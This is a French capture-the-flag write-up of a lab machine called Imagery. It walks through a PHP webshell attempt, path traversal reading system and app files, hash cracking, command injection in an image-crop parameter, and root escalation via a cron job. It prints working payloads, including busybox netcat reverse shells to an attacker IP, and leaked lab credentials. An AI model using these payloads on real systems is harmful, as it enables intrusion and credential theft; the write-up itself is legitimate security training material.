User
Je commence par mettre un payload php mais avec un magic byte gif (le seul magic byte de la liste qui soit imprimable)
GIF89a;
<?php system($_GET['cmd']); ?>le fichier je le met en .gif le probleme c’est que c’est vraiement interprété comme un gif.
Après avoir testé plusieurs file upload je me remet en question enfin.
Je recommence le discovery :
Déjà dans les js on a tous les endpoints api donc je tes test un par un.
/auth_status renvoie :
{
"displayId":"9c41fd2e",
"isAdmin":false,
"isTestuser":false,
"loggedIn":true,
"username":"rrr@rrr.rrr"
}/images renvoie.
{"grouped_images":[{"images":[{"actual_mimetype":"image/jpeg","description":"","filename":"44922a3e-7dbd-49a1-ae8e-1ecc92ab4e90_journal.jpg","group":"My Images","id":"b31cbade-56b7-4ba2-abee-57a561c6b2a8","timestamp":"2025-11-23T13:29:34.358120","title":"journal","type":"original","uploadedBy":"rrr@rrr.rrr","uploadedByDisplayId":"9c41fd2e","url":"/uploads/44922a3e-7dbd-49a1-ae8e-1ecc92ab4e90_journal.jpg"}],"name":"My Images"}],"images":[{"actual_mimetype":"image/jpeg","description":"","filename":"44922a3e-7dbd-49a1-ae8e-1ecc92ab4e90_journal.jpg","group":"My Images","id":"b31cbade-56b7-4ba2-abee-57a561c6b2a8","timestamp":"2025-11-23T13:29:34.358120","title":"journal","type":"original","uploadedBy":"rrr@rrr.rrr","uploadedByDisplayId":"9c41fd2e","url":"/uploads/44922a3e-7dbd-49a1-ae8e-1ecc92ab4e90_journal.jpg"}],"success":true}/admin/users (ainsi que tous les endpoints fils) renvoie.
{"message":"Access denied. Administrator privileges required.","success":false}tout le reste a été reffusé (mais pas 404 donc ils existent)
/get_image_collections.
{"collections":[{"name":"My Images"},{"name":"Unsorted"},{"name":"Converted"},{"name":"Transformed"}],"success":true}liste complete des api leak dans les js du site.
/auth_status
/register
/login
/logout
/images
/delete_image
/edit_image_details
/convert_image
/apply_visual_transform
/delete_image_metadata
/upload_image
/admin/users
/admin/bug_reports
/admin/delete_user
/admin/delete_bug_report
const logIdentifier = username;
const logType = 'user';
window.location.href = `/admin/get_system_log?log_identifier=${encodeURIComponent(logIdentifier)}.log`;
}on voit que log_identifier=….log correspond a un fichier local.
Je tente une lfi :
Quand je met test ça renvoie une erreur :
"Error reading file: 404 Not Found: The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.”.
Donc ca confirme que c’est bien un file.
Je teste des ../etc/passwd en rajoutant des ../ ca met la meme erreur jusqu’a que j’y arrive avec ../../../../../etc/passwd.
Ya que 3 user qui ont un bash.
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bashje fuzz avec des wordlists de path traversal.
Rien ne marche.
On sait que web a un home directory donc ../../../../../home/web/ existe.
Je sais pas quoi chercher.
Je suis con je cherchais dans /home/web mais ca c’est le user c’est pas le dossier de l’app.
Donc evidemment que mon /home/web/config.py ne renvoie rien, je dois chercher dans.
Home/web/web et du coup maintenant ca correspond au bon nombre de “../”.
Bingo.
DATA_STORE_PATH = 'db.json'dans le meme repertoire.
Donc je le dl et j’ai :
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31""username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6"*7¡Vamos!
Iambatman.
J’essaye de me ssh a mark :
~/Documents $ ssh mark@imagery.htb
The authenticity of host 'imagery.htb (10.10.11.88)' can't be established.
ED25519 key fingerprint is: SHA256:1f09NrF6QWI5nbZzSJJflV8ACTiH/pMDmhIFayf3VD4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'imagery.htb' (ED25519) to the list of known hosts.
mark@imagery.htb: Permission denied (publickey).j'ai encore ma lfi je dois en profiter pour cat le fichier de clés ssh.
Je vais me connecter avec ces creds sur le site.
Le site pour test user est le meme partout sauf qu’il a acces aux features qui sont encore en prod comme CONVERT FORMAT.
Je cree un png a avec un shell dedans puis je change le format sur burp.
Mon shell.gif : <?php echo shell_exec($_GET['cmd']); ?>
Je modifie la requete de conversion en jpg pour faire mettre php.
{"imageId":"26a84cbb-e877-4a74-be18-d861e7b6bd86","targetFormat":"php"ça marche pas c’est interdit mdrr.
ON A LE CODE SOURCE DE L’APP.
Non rien a gratter je reviens dans ma lfi pour justement trouver l’app.py.
Il donne tous les api_….py.
Je m’interesse au api_edit (le seul truc qui nous diférencie des users normaux) et je vois s’il y a des injections/.
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)dans crop on peut mettre une entrée utilisateur ET on a acces a un shell.
Donc dans le width ou le height on peut injecter une commande comme ceci.
; id/?content=session%3D.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aSQXVA.cjqou044OnsancHwhrrHaDCI7GQca c’est ma requete mais mon nc recois la connexion mais ne la garde pas.
{"imageId":"07156bc3-61f2-42ef-8e7f-268133e0e990","transformType":"crop","params":{"x":0,"y":0,"width":500,"height":"390; busybox nc 10.10.15.157 6677 -e /bin/bash"}}je rajoute ; echo (tant que le echo n’est pas exécuté, le processus parent survit donc continue d’executer le revshell, ca aurait pu marcher avec cat etc)
J’ai un shell.
Mon objectif maintenant c’est d’avoir les clés pour me ssh a mark.
Bon c’est du je grep dans mon rendu linpeas rsa et je trouve ca.
web@Imagery:~$ cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDebNY/k0wVOIPwMiMIACCozB86D6HmS4aJ8cnxqcUw136cd1jOIckN7CvNJ3dc2Wnklh8lvDPNQ+/h2NSIEc85q92LmFyS/bZRq0U2EPxKbkjpOy5P9sTUdnao94j/ayq28wgS9GOgjSaxiBT7fqsktkCUEbeCdPxIQPUJMOyoCj9Zse2+4iJa1Lr6LIrF6U9bwgsmdiTDORDx7TRP9JdhXj8XhQMGooatNmi7YnpSCXJh7pU0RlODy7ENO3GVO8QpKGZIu8t/90R/EpjThMzWLcUA4m40QG1/g2D71qwnolkT45ese6aIc2x38EZ9AEHLDcXhwmhHU5svWv4PvC92Z0Y5zRJeKj3Y6PAFM9II+PDJlf7N9xNIN06JGpZ9gTo+oO39uORiNRu+6uyD18R5aEzXafaxm33fjzhNKAAWSVOedbzTR96jdziExJxtwBSHDwgwfS5wLzrei9NjMvhnpxAUfObZt4rJNc4s0+H/AWss5AnI+ykKx47+dG1jLmU= root@osboxesca m’aide pas dutout.
Je continue d’explorer ~/web et dans ~/web/bot/admin.py ila ya ses creds (qu’on avait pas pu dechiffrer tout a l’heure)
# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------ca m’avance a rien mais c’est déjà ca mdr.
Je continue de lire mon linpeas.
╔══════════╣ Executable files potentially added by user (limit 70)
2025-09-22+13:21:44.2709266820 /usr/local/sbin/laurel
2025-09-22+10:55:05.1975575260 /home/web/.local/bin/wsdump
2025-08-02+19:56:15.1022096770 /home/web/web/bot/admin.py
2025-07-30+11:25:49.2198698390 /usr/local/bin/pyAesCrypt
2025-07-14+17:45:21.8640184880 /var/snap/cups/common/etc/papersize
2025-07-14+17:18:56.7755866310 /home/web/web/env/bin/flask
2025-07-14+17:18:56.3315861790 /home/web/web/env/bin/markdown-it
2025-07-14+17:18:55.6395854630 /home/web/web/env/bin/pygmentize
2025-07-14+17:18:06.5755041490 /home/web/web/env/bin/pip3.12
2025-07-14+17:18:06.5755041490 /home/web/web/env/bin/pip3
2025-07-14+17:18:06.5755041490 /home/web/web/env/bin/pip
2024-10-27+03:57:08.0284831320 /etc/cloud/clean.d/99-installer
2024-10-27+03:42:57.0240580590 /etc/console-setup/cached_setup_terminal.sh
2024-10-27+03:42:57.0170545520 /etc/console-setup/cached_setup_font.sh
2024-10-27+03:42:57.0130525480 /etc/console-setup/cached_setup_keyboard.shle user a utilisé pyAesCrypt.
Je me renseigne sur pyaes c’est une lib python qui sert a chiffrer des fichiers.
Je grep aes dans le rendu linpeas et hehe.
1786 -rw-rw-r-- 1 root root 23054471 Aug 6 2024 /var/backup/web_20250806_120723.zip.aesj’exfiltre cette backup.
Je trouve un tool qui dechiffre.
~/Documents/test_serv $ python3 dpyAesCrypt.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt
[🔐] dpyAesCrypt.py – pyAesCrypt Brute Forcer
[🔎] Starting brute-force with 10 threads...
[🔄] Progress: ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.00% | ETA: 00:00:00 | Tried 0/14344391/home/ygp4ph/Documents/test_serv/dpyAesCrypt.py:42: DeprecationWarning: inputLength parameter is no longer used, and might be removed in a future version
pyAesCrypt.decryptStream(fIn, fOut, password.strip(), buffer_size, os.path.getsize(encrypted_file))
[🔄] Progress: ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.01% | ETA: 00:35:27 | Tried 1050/14344391
[✅] Password found: bestfriends
🔓 Decrypt the file now? (y/n): y
/home/ygp4ph/Documents/test_serv/dpyAesCrypt.py:142: DeprecationWarning: inputLength parameter is no longer used, and might be removed in a future version
pyAesCrypt.decryptStream(fIn, fOut, cracked_pw, args.buffer, os.path.getsize(args.file))
[📁] File decrypted successfully as: web_20250806_120723.zipje cat le db.json et il y a un user en plus.
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",je crack le hash : supersmash.
C’est donc le mdp de mark.
Je prie pour une password reuse en faisant su mark et en mettant ces creds (puisque je ne peux pas me ssh)
J’y suis et je cat user.
Root
Je commence la privesc j’ai déjà mon linpeas.
mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol/usr/local/bin/charcol est un binaire que mark peux executer en tant que qui il veux (dont root)
mark@Imagery:~$ sudo /usr/local/bin/charcol -h
sudo /usr/local/bin/charcol -h
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only
warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).je reset le password.
Je rentre dans l’app dans le mode interractif avec.
mark@Imagery:~$ sudo /usr/local/bin/charcol shellje fait un help pour voir les commandes disponnibles.
bash-5.2$ sudo /usr/local/bin/charcol shell
sudo /usr/local/bin/charcol shell
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
[2025-11-24 13:18:08] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> help
help
[2025-11-24 13:18:17] [INFO]
Charcol Shell Commands:
Backup & Fetch:
backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
Purpose: Create an encrypted backup archive from specified files/directories.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
Permissions: Files created with 664 permissions. Ownership is user:group.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
Examples:
- Encrypted with file-specific password:
backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
- Encrypted with app password (if status 1):
backup -i /home/user/example_file.json
- Unencrypted (if status 2 and no -p):
backup -i /home/user/example_file.json
- No timestamp:
backup -i /home/user/example_file.json --no-timestamp
fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
Purpose: Download a file from a URL, encrypt it, and save it.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
Permissions: Files created with 664 permissions. Ownership is current user:group.
Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
Examples:
- Encrypted:
fetch <URL> -o <output_file_path> -p <file_password> --force
- Unencrypted (if status 2 and no -p):
fetch <URL> -o <output_file_path>
Integrity & Extraction:
list <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and list contents of an encrypted Charcol archive.
Note: Requires the correct decryption password.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>
check <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>
extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
Purpose: Decrypt an encrypted Charcol archive and extract its contents.
Note: Requires the correct decryption password.
Example:
extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1 (encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), cron, unencrypted backup:
CHARCOL_NON_INTERACTIVE=true charcol auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), interactive:
auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
(will prompt for system password)
auto list
Purpose: List all automated jobs managed by Charcol.
Example:
auto list
auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
Purpose: Modify an existing Charcol-managed automated job.
Verification: Same as 'auto add'.
Example:
auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"
auto delete <job_id>
Purpose: Remove an automated job managed by Charcol.
Verification: Same as 'auto add'.
Example:
auto delete <job_id>
Shell & Help:
shell
Purpose: Enter this interactive Charcol shell.
Example:
shell
exit
Purpose: Exit the Charcol shell.
Example:
exit
clear
Purpose: Clear the interactive shell screen.
Example:
clear
help [command]
Purpose: Show help for Charcol or a specific command.
Example:
help backup
Global Flags (apply to all commands unless overridden):
--app-password <password> : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
-p, "--password" <password> : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
-v, "--verbose" : Enable verbose output.
--quiet : Suppress informational output (show only warnings and errors).
--log-file <path> : Log all output to a specified file.
--dry-run : Simulate actions without actual file changes (for 'backup' and 'fetch').
--ask-password : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
--no-banner : Do not display the ASCII banner.
-R, "--reset-password-to-default" : Reset application password to default (requires system password verification).je dois trouver un moyens d’executer des commandes en partant du mode interractif (puisqu’il s’execute en root)
On peut ajouter des taches cron.
Je met 9001 parce que 6677 est occupé pour mon shell actuel.
charcol> auto add --schedule "* * * * *" --command "busybox nc 10.10.15.157 9001 -e /bin/bash" --name "yg"je cat root.